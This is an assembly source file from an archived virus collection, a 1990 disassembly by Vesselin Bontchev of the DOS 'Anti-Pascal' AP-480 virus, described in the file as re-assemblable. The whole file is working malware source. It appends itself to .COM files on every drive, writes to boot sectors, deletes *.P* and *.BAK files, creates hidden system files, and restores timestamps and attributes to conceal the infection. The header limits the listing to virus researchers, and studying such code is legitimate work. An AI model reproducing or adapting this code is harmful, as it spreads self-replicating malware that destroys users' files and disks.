Underground/Underground CD1.iso/virii/zrodla/a/ap-480.asm

Assembly Source File | 1998-01-14 | 7.5 KB | 316 lines

    page    ,132
    name    AP480
    title    The 'Anti-Pascal' virus, version AP-480
    .radix    16

; ╔══════════════════════════════════════════════════════════════════════════╗
; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
; ║  Telephone: Private: [phone], Office: [phone] ext. 255         ║
; ║                                         ║
; ║               The 'Anti-Pascal' Virus, version AP-480               ║
; ║            Disassembled by Vesselin Bontchev, June 1990         ║
; ║                                         ║
; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
; ║                                         ║
; ║     This listing is only to be made available to virus researchers      ║
; ║           or software writers on a need-to-know basis.          ║
; ╚══════════════════════════════════════════════════════════════════════════╝

; The disassembly has been tested by re-assembly using MASM 5.0.

code    segment
    assume    cs:code, ds:code

    org    100

v_const =    2042d

start:
    jmp    v_entry
    db    0CA        ; Virus signature

    db    (2048d - 9) dup (90)

    mov    ax,4C00
    int    21

v_start label    byte
first4    db    0E9, 0F8, 7, 90
allcom    db    '*.COM', 0

mydta    label    byte
reserve db    15 dup (?)
attrib    db    ?
time    dw    ?
date    dw    ?
fsize    dd    ?
namez    db    14d dup (?)

allp    db    0, '????????P??'
allbak    db    0, '????????BAK'
maxdrv    db    ?

v_entry:
    push    ax        ; Save AX & DX
    push    dx

    mov    ah,19        ; Get the default drive
    int    21
    push    ax        ; Save it on stack
    mov    ah,0E        ; Set it as default (?!)
    mov    dl,al
    int    21        ; Do it

    call    self        ; Determine the virus' start address
self:
    pop    si
    sub    si,offset self-v_const

; Save the number of logical drives in the system:

    mov    byte ptr [si+offset maxdrv-v_const],al

; Restore the first 4 bytes of the infected program:

    mov    ax,[si+offset first4-v_const]
    mov    word ptr ds:[offset start],ax
    mov    ax,[si+offset first4+2-v_const]
    mov    word ptr ds:[offset start+2],ax

    mov    ah,1A        ; Set new DTA
    lea    dx,[si+offset mydta-v_const]
    int    21        ; Do it

    pop    ax        ; Restore current drive in AL
    push    ax        ; Keep it on stack

    call    inf_drive    ; Proceed with the current drive

    xor    al,al        ; For all logical drives in the system
drv_lp:
    call    inf_drive    ; Proceed with drive
    jbe    drv_lp        ; Loop until no more drives

    pop    ax        ; Restore the saved current drive
    mov    ah,0E        ; Set it as current drive
    mov    dl,al
    int    21        ; Do it

    mov    dx,80        ; Restore original DTA
    mov    ah,1A
    int    21        ; Do it

    mov    si,offset start
    pop    dx        ; Restore DX & AX
    pop    ax
    jmp    si        ; Run the original program

inf_drive:
    push    ax        ; Save the selected drive number on stack
    mov    ah,0E        ; Select that drive
    mov    dl,al
    int    21        ; Do ti
    pop    ax        ; Restore AX

    push    ax        ; Save the registers used
    push    bx
    push    cx
    push    si        ; Save SI

    mov    cx,1        ; Read the boot sector of the drive specified
    xor    dx,dx
    lea    bx,[si+offset v_end-v_const]
    push    ax        ; Save AX
    push    bx        ; Save BX, CX & DX also
    push    cx
    push    dx
    int    25        ; Do read
    pop    dx        ; Clear the stack
    pop    dx        ; Restore saved DX, CX & BX
    pop    cx
    pop    bx
    jc    bad_drv     ; Exit on error

    inc    byte ptr [bx]    ; Increment the first byte (?!)
    cmp    byte ptr [bx+1],6F    ; Second byte == 111 (?!)
    jne    wr_drive    ; Write the new values if not

bad_drv:
    pop    ax        ; Restore AX
    pop    si        ; Restore SI
drv_xit:
    pop    cx        ; Restore used registers
    pop    bx
    pop    ax

    inc    al        ; Go to next drive number
    cmp    al,[si+offset maxdrv-v_const]    ; See if there are more drives
    ret            ; Exit

wr_drive:
    pop    ax        ; Restore drive number in AL
    int    26        ; Do write
    pop    ax        ; Clear the stack
    pop    si        ; Restore Si
    jc    drv_xit     ; Exit on error

; Find first COM file on the current directory of the selected drive:

    mov    ah,4E
    xor    cx,cx        ; Normal files only
    lea    dx,[si+offset allcom-v_const]    ; File mask
next:
    int    21        ; Do find
    jc    no_more     ; Quit search if no more such files
    lea    dx,[si+offset namez-v_const]    ; Get file name found
    call    infect        ; Infect that file
    mov    ah,4F        ; Prepare for FindNext
    jc    next        ; If infection not successful, go to next file
    jmp    drv_xit     ; Otherwise quit

no_more:
    lea    di,[si+offset v_end-v_const]
    cmp    byte ptr [di],80
    jb    drv_xit

; Form the current directory path at v_end:

    mov    al,'\'          ; '\' for the root
    stosb            ; Put that character
    xchg    si,di        ; Save DI

    mov    ah,47        ; Get current directory
    xor    dl,dl        ;  of the default drive and put it there too
    int    21        ; Do it

    xchg    si,di        ; Restore DI
    xor    al,al        ; Go to the end of paht (?!)
    mov    cx,64d
    repne    scasb        ; Do it
    dec    di        ; Go to the previous byte

    mov    ah,13        ; Delete all *.P* files in that dir
    lea    dx,[si+offset allp-v_const]
    int    21        ; Do it
    cmp    al,-1
    je    drv_xit     ; Exit on error

    mov    ah,13        ; Delete all *.BAK files too
    lea    dx,[si+offset allbak-v_const]
    int    21        ; Do it

    mov    cx,20d        ; Create 20 temporary files (?!)
    mov    ah,5A
    lea    dx,[si+offset v_end-v_const]

creat_lp:
    push    cx        ; Save registers used
    push    ax
    push    dx
    mov    byte ptr [di],0
    mov    cx,7        ; With ReadOnly, Hidden and System attributes
    int    21        ; Do it

    pop    dx        ; Save used registers
    pop    ax
    pop    cx
    loop    creat_lp    ; Loop until done

    jmp    drv_xit     ; Done. Exit

namaddr dw    ?        ; Address of the file name buffer

infect:
    mov    [si+offset namaddr-v_const],dx    ; Save file name address

    mov    ax,4301     ; Reset all file attributes
    xor    cx,cx
    int    21        ; Do it
    jnc    inf_cont    ; Continue if all OK
inf_xit:
    ret            ; Otherwise exit

inf_cont:
    mov    ax,3D02     ; Open file for both reading and writing
    int    21
    jc    inf_xit     ; Exit on arror
    mov    bx,ax        ; Save file handle in BX

    mov    cx,4        ; Read the first 4 bytes of the file
    mov    ah,3F
    lea    di,[si+offset first4-v_const]    ; Save them in first4
    mov    dx,di
    int    21        ; Do it
    jc    quit        ; Exit on error

    cmp    byte ptr [di+3],0CA    ; File already infected?
    stc            ; Set CF to indicate it
    jz    quit        ; Don't touch this file if so

    mov    cx,[si+offset fsize-v_const]
    cmp    cx,2048d    ; Check if file size >= 2048 bytes
    jb    quit        ; Exit if not
    cmp    cx,64000d    ; Check if file size <= 64000 bytes
    stc            ; Set CF to indicate it
    ja    quit        ; Exit if not

    xor    cx,cx        ; Seek to file end
    xor    dx,dx
    mov    ax,4202
    int    21        ; Do it
    push    ax        ; Save file size on stack
    jc    quit        ; Exit on error

; Write the virus body after the end of file:

    mov    cx,v_end-v_start
    nop
    lea    dx,[si+offset v_start-v_const]
    mov    ah,40
    int    21        ; Do it
    jc    quit        ; Exit on error
    pop    ax        ; Restore file size in AX

; Form a new address for the first JMP instruction in AX:

    add    ax,v_entry-v_start-3
    mov    byte ptr [di],0E9    ; JMP opcode
    mov    [di+1],ax
    mov    byte ptr [di+3],0CA    ; Set the "file infected" sign

    xor    cx,cx        ; Seek to file beginning
    xor    dx,dx
    mov    ax,4200
    int    21        ; Do it
    jc    quit        ; Exit on error

    mov    cx,4        ; Write the new first 4 bytes of the file
    mov    dx,di
    mov    ah,40
    int    21        ; Do it

quit:
    pushf            ; Save flags

    mov    ax,5701     ; Set file date & time
    mov    cx,[si+offset time-v_const]    ; Get time from mydta
    mov    dx,[si+offset date-v_const]    ; Get date from mydta
    int    21        ; Do it

    mov    ah,3E        ; Close the file
    int    21

    mov    ax,4301     ; Set file attributes
    mov    cl,[si+offset attrib-v_const]    ; Get them from mydta
    xor    ch,ch
    mov    dx,[si+offset namaddr-v_const]    ; Point to file name
    int    21        ; Do it

    popf            ; Restore flags
    ret

v_end    equ    $

code    ends
    end    start